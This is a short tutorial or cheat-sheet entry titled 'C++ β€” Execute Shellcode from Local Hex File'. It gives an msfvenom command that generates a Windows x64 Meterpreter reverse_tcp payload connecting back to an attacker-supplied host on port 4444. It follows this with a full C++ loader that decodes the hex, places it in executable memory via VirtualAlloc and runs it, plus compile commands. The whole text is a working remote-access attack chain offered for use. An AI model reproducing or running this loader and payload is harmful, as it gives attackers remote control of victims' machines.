C++ β€” Execute Shellcode from Local Hex File

Generate payload as hex file:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f hex -o sc.hex

C++ loader that reads hex from file and executes in memory:

#include <windows.h>
#include <fstream>
#include <string>
using namespace std;

static unsigned char hexByte(char a, char b) {
    auto v = [](char c) -> unsigned char {
        if (c >= '0' && c <= '9') return c - '0';
        if (c >= 'a' && c <= 'f') return c - 'a' + 10;
        return c - 'A' + 10;
    };
    return v(a) * 16 + v(b);
}

int main() {
    ifstream f("sc.hex");
    string hex; getline(f, hex); f.close();

    size_t sz = hex.size() / 2;
    auto* buf = new unsigned char[sz];
    for (size_t i = 0; i < sz; i++)
        buf[i] = hexByte(hex[i*2], hex[i*2+1]);

    void* mem = VirtualAlloc(0, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(mem, buf, sz);
    delete[] buf;

    ((void(*)())mem)();
    return 0;
}

Compile and run:

x86_64-w64-mingw32-g++ -o loader.exe loader.cpp
# Or on Windows: cl /EHsc loader.cpp